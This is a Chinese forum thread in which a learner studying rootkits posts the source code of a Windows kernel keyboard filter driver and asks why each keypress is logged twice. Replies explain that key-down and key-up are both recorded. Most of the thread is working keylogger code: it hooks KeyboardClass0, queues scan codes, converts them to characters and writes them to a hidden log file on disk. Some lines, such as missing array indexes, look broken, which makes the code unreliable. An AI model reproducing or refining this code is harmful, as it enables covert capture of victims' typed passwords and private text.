阅读:2417回复:2
过滤键盘钩子为什么会按一次按钮记录2次一样的按钮
大家好,最近在学 rootkit的键盘钩子
根据书上的我自己写了一次,可以成功勾住了但是每按一次键盘就钩2次,这是为什么啊!请各位大牛帮忙我好吗 #ifdef __cplusplus extern "C" { #endif #include <ntddk.h> #include "ntddkbd.h" #include <string.h> #ifdef __cplusplus }; // extern "C" #endif #include "FilterKeybd.h" #ifdef __cplusplus namespace { // anonymous namespace to limit the scope of this global variable! #endif PDRIVER_OBJECT pdoGlobalDrvObj = 0; #ifdef __cplusplus }; // anonymous namespace #endif //-----------global varian------------------------------------// ULONG numPendingIRP; #pragma PAGECODE NTSTATUS FILTERKEYBD_Dispatch( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp ) { //获得设备扩展 PDEVICE_EXTENSION pDeviceExt; pDeviceExt=(PDEVICE_EXTENSION )DeviceObject->DeviceExtension; IoSkipCurrentIrpStackLocation(Irp); return IoCallDriver(pDeviceExt->pKBDeviceObject,Irp); } #pragma PAGECODE NTSTATUS IoReadCompletion( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, IN PVOID Context ) { //获得设备扩展 PDEVICE_EXTENSION pDeviceExt; pDeviceExt=(PDEVICE_EXTENSION )DeviceObject->DeviceExtension; if(Irp->IoStatus.Status==STATUS_SUCCESS) { PKEYBOARD_INPUT_DATA keys=(PKEYBOARD_INPUT_DATA)(Irp->AssociatedIrp.SystemBuffer); int numKeys=Irp->IoStatus.Information/sizeof(KEYBOARD_INPUT_DATA); //遍历所有数组成员,从每个成员中获取击键动作 for(int i=0;i<numKeys;i++) { DbgPrint("ScanCoed:%x\n",keys.MakeCode); if(keys.Flags==KEY_MAKE) DbgPrint("%s\n","Key_Down"); //因为这里是在DISPATCH_LEVEL等级上,不能对文件进行读写操作 KEY_DATA *kData=(KEY_DATA *)ExAllocatePool(NonPagedPool,sizeof(KEY_DATA)); //保存数据 kData->Flags=(char)keys.Flags; kData->KeyData=(char)keys.MakeCode; //对链表的访问必须采用关键段同步机制 ExInterlockedInsertTailList(&pDeviceExt->QueueListHead, &kData->ListEntry, &pDeviceExt->lockQueue); //并同时增加一个信号灯 KeReleaseSemaphore(&pDeviceExt->semQueue,0,1,false); } } if(Irp->PendingReturned) { IoMarkIrpPending(Irp); } numPendingIRP--; return Irp->IoStatus.Status; } #pragma PAGECODE NTSTATUS FILTERKEYBD_Read( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp ) { //获得设备扩展 PDEVICE_EXTENSION pDeviceExt; pDeviceExt=(PDEVICE_EXTENSION )DeviceObject->DeviceExtension; IoCopyCurrentIrpStackLocationToNext(Irp); //设置完成例程,当底层的设备完成时调用这个函数 IoSetCompletionRoutine(Irp,IoReadCompletion,DeviceObject,true,true,true); //这里需要将挂起的IRP的数量记录起来 numPendingIRP++; return IoCallDriver(pDeviceExt->pKBDeviceObject,Irp); } #pragma PAGECODE VOID FILTERKEYBD_DriverUnload( IN PDRIVER_OBJECT DriverObject ) { //获得设备扩展 PDEVICE_EXTENSION pDeviceExt=(PDEVICE_EXTENSION )DriverObject->DeviceObject->DeviceExtension; KdPrint(("UnLoad Device\n")); //必须使用IODetachDevice函数除去 IoDetachDevice(pDeviceExt->pKBDeviceObject); KdPrint(("KeyBoard Hook detach\n")); //使用一个定时器,直到所有的IRP完成 KTIMER kTimer; LARGE_INTEGER timeOut; timeOut.QuadPart=1000000;//1s KeInitializeTimer(&kTimer); while(numPendingIRP>0) { KeSetTimer(&kTimer,timeOut,NULL); KeWaitForSingleObject(&kTimer,Executive,KernelMode ,FALSE,NULL); } //结束线程 pDeviceExt->bThreadTeminate=true; KeReleaseSemaphore(&pDeviceExt->semQueue,0,1,true); KdPrint(("Wait for Thread is teminate......\n")); KeWaitForSingleObject(pDeviceExt->pThreadObj,Executive,KernelMode ,FALSE,NULL); KdPrint(("Thread have teminate!!!!\n")); //关闭日志文件 ZwClose(pDeviceExt->hLogFile); //执行适当的常规清理工作 IoDeleteDevice(DriverObject->DeviceObject); KdPrint(("所有的已经结束\n")); return; } #pragma PAGECODE CHAR *GetKeyToString(char KeyData) { switch(KeyData) { case 0x1: return"(ESC)"; case 0x2: return "1"; case 0x3: return"2"; case 0x4: return"3"; case 0x5: return"4"; case 0x6: return("5"); case 0x7: return("6"); case 0x8: return("7"); case 0x9: return("8"); case 0xA: return("9"); case 0xB: return("0"); case 0xC: return("-"); case 0xD: return("="); case 0xE: return("(BACKSPACE)"); case 0xF: return("(TAB)"); case 0x10: return("Q"); case 0x11: return("W"); case 0x12: return("E"); case 0x13: return("R"); case 0x14: return("T"); case 0x15: return("Y"); case 0x16: return("U"); case 0x17: return("I"); case 0x18: return("O"); case 0x19: return("P"); case 0x1A: return("["); case 0x1B: return("]"); case 0x2B: return("\\"); case 0x1D: return("(LEFT CTRL)"); case 0x1E: return("A"); case 0x1F: return("S"); case 0x20: return("D"); case 0x21: return("F"); case 0x22: return("G"); case 0x23: return("H"); case 0x24: return("J"); case 0x25: return("K"); case 0x26: return("L"); case 0x27: return(";"); case 0x28: return("'"); case 0x29: return("`"); case 0x2A: return("(LEFT SHIFT)"); case 0x1C: return("(ENTER)"); case 0x2C: return("Z"); case 0x2D: return("X"); case 0x2E: return("C"); case 0x2F: return("V"); case 0x30: return("B"); case 0x31: return("N"); case 0x32: return("M"); case 0x33: return(","); case 0x34: return("."); case 0x35: return("/"); case 0x36: return("(RIGHT SHIFT)"); case 0x37: return("*"); case 0x38: return("(LEFT ALT)"); case 0x39: return("(SPACE)"); case 0x3A: return("(CAP LOCK)"); case 0x3B: return("(F1)"); case 0x3C: return("F2"); case 0x3D: return("F3"); case 0x3E: return("F4"); case 0x3F: return("F5"); case 0x40: return("F6"); case 0x41: return("F7"); case 0x42: return("F8"); case 0x43: return("F9"); case 0x44: return("F10"); case 0x45: return("(NumLock)"); case 0x46: return("/"); case 0x47: return("7"); case 0x48: return("8"); case 0x49: return("9"); case 0x4A: return("-"); case 0x4B: return("4"); case 0x4C: return("5"); case 0x4D: return("6"); case 0x4E: return("+"); case 0x4F: return("1"); case 0x50: return("2"); case 0x51: return("3"); case 0x52: return("0"); case 0x53: return("."); case 0x57: return("F11"); case 0x58: return("F12"); default: return"(#)"; } return "(#)"; } #pragma PAGECODE VOID LogThreadRoution(IN PVOID pContext) { //取得扩展设备 PDEVICE_EXTENSION pDeviceExt=(PDEVICE_EXTENSION)pContext; //取得下一设备对象 PDEVICE_OBJECT pNextDeviceObj=pDeviceExt->pKBDeviceObject; PLIST_ENTRY pListEntry; PKEY_DATA pKeyData; while(1) { //等待扩展设备里面的信号灯有信号状态 KeWaitForSingleObject(&pDeviceExt->semQueue, Executive, KernelMode, FALSE, NULL); //如果是退出 if(pDeviceExt->bThreadTeminate==true) { ::PsTerminateSystemThread(STATUS_SUCCESS); } //用原子操作来把队列里面的头内容出列 pListEntry=ExInterlockedRemoveHeadList(&pDeviceExt->QueueListHead,&pDeviceExt->lockQueue); //用CONTAINING_RECORD宏来指向pListEntry结构中数据的指针 pKeyData=CONTAINING_RECORD(pListEntry,KEY_DATA,ListEntry); char *strKey=GetKeyToString(pKeyData->KeyData); KdPrint((strKey)); if(pDeviceExt->hLogFile != NULL) { IO_STATUS_BLOCK io_status; NTSTATUS status = ZwWriteFile(pDeviceExt->hLogFile, NULL, NULL, NULL, &io_status, strKey, strlen(strKey), NULL, NULL); if(status != STATUS_SUCCESS) KdPrint(("Failed Write .............\n")); else KdPrint(("Successful Write Scan Code to file\n")); } } } #pragma PAGECODE NTSTATUS InitThreadKeyLogger( IN PDEVICE_OBJECT DeviceObject ) { //获得设备扩展 PDEVICE_EXTENSION pDeviceExt; pDeviceExt=(PDEVICE_EXTENSION )DeviceObject->DeviceExtension; //先把线程终止状态设置为false pDeviceExt->bThreadTeminate=false; //为做记录创建一个线程 HANDLE hThread; NTSTATUS status=PsCreateSystemThread(&hThread, THREAD_ALL_ACCESS , NULL, (HANDLE)0, NULL, LogThreadRoution, pDeviceExt); if(!NT_SUCCESS(status)) return status; // 把线程对象保存进设备扩展里面 ObReferenceObjectByHandle(hThread, THREAD_ALL_ACCESS, NULL, KernelMode, (PVOID*)&pDeviceExt->pThreadObj, NULL); ZwClose(hThread); return 0; } #pragma INITCODE #ifdef __cplusplus extern "C" { #endif NTSTATUS DriverEntry( IN OUT PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath ) { PDEVICE_OBJECT KeyDeviceObj = 0; NTSTATUS status = STATUS_UNSUCCESSFUL; pdoGlobalDrvObj = DriverObject; ULONG i=0; UNICODE_STRING DriverName; PFILE_OBJECT pFileObject; PDEVICE_OBJECT pDeviceObject; PDEVICE_EXTENSION pDeviceExt; numPendingIRP=0; UNICODE_STRING usLogFileName; OBJECT_ATTRIBUTES objAttributes; IO_STATUS_BLOCK File_Status; KdPrint(("Entry wesen KeyBorad Driver\n")); //初始化各个功能号函数指针 for(i=0;i<IRP_MJ_MAXIMUM_FUNCTION;i++) { DriverObject->MajorFunction=FILTERKEYBD_Dispatch; } DriverObject->MajorFunction[IRP_MJ_READ]=FILTERKEYBD_Read; DriverObject->DriverUnload = FILTERKEYBD_DriverUnload; //初始化需要获得要附的设备的名字 RtlInitUnicodeString(&DriverName,L"\\Device\\KeyboardClass0"); //从设备名获得设备的文件对象和设备对象 IoGetDeviceObjectPointer(&DriverName, FILE_ALL_ACCESS , &pFileObject, &pDeviceObject); // 创建一个设备 if(!NT_SUCCESS(status = IoCreateDevice( DriverObject,//驱动对象 sizeof(DEVICE_EXTENSION),//设备扩展大小 NULL, //没有命名 pDeviceObject->Type,//设备类型 FILE_DEVICE_SECURE_OPEN,//设备属性 FALSE,//这个不知道什么用 &KeyDeviceObj ))) { return status; }; //IoAttachDevice //获得设备扩展 pDeviceExt = (PDEVICE_EXTENSION)KeyDeviceObj->DeviceExtension ; //设备扩展清零 RtlZeroMemory(pDeviceExt,sizeof(DEVICE_EXTENSION)); //把设备附在keyboardclass0的设备栈上,并保存到设备扩展中 pDeviceExt->pKBDeviceObject=IoAttachDeviceToDeviceStack(KeyDeviceObj,pDeviceObject); //修改设备的一些标识 KeyDeviceObj->Type=pDeviceObject->Type; KeyDeviceObj->Characteristics = pDeviceObject->Characteristics; KeyDeviceObj->Flags &=~DO_DEVICE_INITIALIZING; KeyDeviceObj->Flags |=((pDeviceObject->Flags) & (DO_BUFFERED_IO | DO_DIRECT_IO)); //初始化链表头 InitializeListHead(&pDeviceExt->QueueListHead); //初始化自旋锁 KeInitializeSpinLock(&pDeviceExt->lockQueue); //初始化信号灯 KeInitializeSemaphore(&pDeviceExt->semQueue,0,MAXLONG); //到这里我们的设备已经附在设备栈上,应该创建一个系统的线程来记录键盘 InitThreadKeyLogger(KeyDeviceObj); //打开要记录的文件 RtlInitUnicodeString(&usLogFileName,L"\\DosDevices\\c:\\wesen.txt"); InitializeObjectAttributes(&objAttributes,&usLogFileName,OBJ_CASE_INSENSITIVE,NULL,NULL); status=ZwCreateFile(&pDeviceExt->hLogFile, GENERIC_WRITE, &objAttributes, &File_Status, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ, FILE_OPEN_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0); if(status != STATUS_SUCCESS) { KdPrint(("Failed to Create file for log\n")); KdPrint(("File status=%x\n",File_Status)); } else { KdPrint(("Successful Create file for Log\n")); } return STATUS_SUCCESS; } #ifdef __cplusplus }; // extern "C" #endif /////////////////////////////////////////////////////////////////////////////// /// /// Copyright (c) 2009 - <company name here> /// /// Original filename: FilterKeybd.h /// Project : FilterKeybd /// Date of creation : <see FilterKeybd.cpp> /// Author(s) : <see FilterKeybd.cpp> /// /// Purpose : <see FilterKeybd.cpp> /// /// Revisions: <see FilterKeybd.cpp> /// /////////////////////////////////////////////////////////////////////////////// // $Id$ #ifndef __FILTERKEYBD_H_VERSION__ #define __FILTERKEYBD_H_VERSION__ 100 #if defined(_MSC_VER) && (_MSC_VER >= 1020) #pragma once #endif #include "drvcommon.h" #include "drvversion.h" //#define DEVICE_NAME "\\Device\\FILTERKEYBD_DeviceName" //#define SYMLINK_NAME "\\DosDevices\\FILTERKEYBD_DeviceName" //PRESET_UNICODE_STRING(usDeviceName, DEVICE_NAME); //PRESET_UNICODE_STRING(usSymlinkName, SYMLINK_NAME); #ifndef FILE_DEVICE_FILTERKEYBD #define FILE_DEVICE_FILTERKEYBD 0x800 #endif #define PAGECODE code_seg("PAGE") #define INITCODE code_seg("INIT") #define LOCKCODE code_seg() // Values defined for "Method" // METHOD_BUFFERED // METHOD_IN_DIRECT // METHOD_OUT_DIRECT // METHOD_NEITHER // // Values defined for "Access" // FILE_ANY_ACCESS // FILE_READ_ACCESS // FILE_WRITE_ACCESS const ULONG IOCTL_FILTERKEYBD_OPERATION = CTL_CODE(FILE_DEVICE_FILTERKEYBD, 0x01, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA); typedef struct _DEVICE_EXTENSION { PDEVICE_OBJECT pKBDeviceObject;//保存了下一个栈的设备 PETHREAD pThreadObj; bool bThreadTeminate; HANDLE hLogFile; // KEY_STATE kState; KSEMAPHORE semQueue; KSPIN_LOCK lockQueue; LIST_ENTRY QueueListHead; }DEVICE_EXTENSION,*PDEVICE_EXTENSION; typedef struct _KEYBOARD_INPUR_DATA { USHORT UnitId; USHORT MakeCode; USHORT Flags; USHORT Reserved; ULONG ExtraInformation; }KEYBOARD_INPUR_DATA,*PKEYBOARD_INPUR_DATA; typedef struct _KEY_DATA { char KeyData; char Flags; LIST_ENTRY ListEntry; }KEY_DATA,*PKEY_DATA; #endif // __FILTERKEYBD_H_VERSION__ |
|
沙发#
发布于:2009-03-25 17:59
因为按下记录一次,松开也记录一次,你自己要在程序里作判断的,只记录按下或只记录放开时的键,如果不做判断就记录两次,所以记录的内容都是aabbccddee
|
|
板凳#
发布于:2009-04-04 19:53
这个驱动用到USB键盘问题应该不少
|
|
|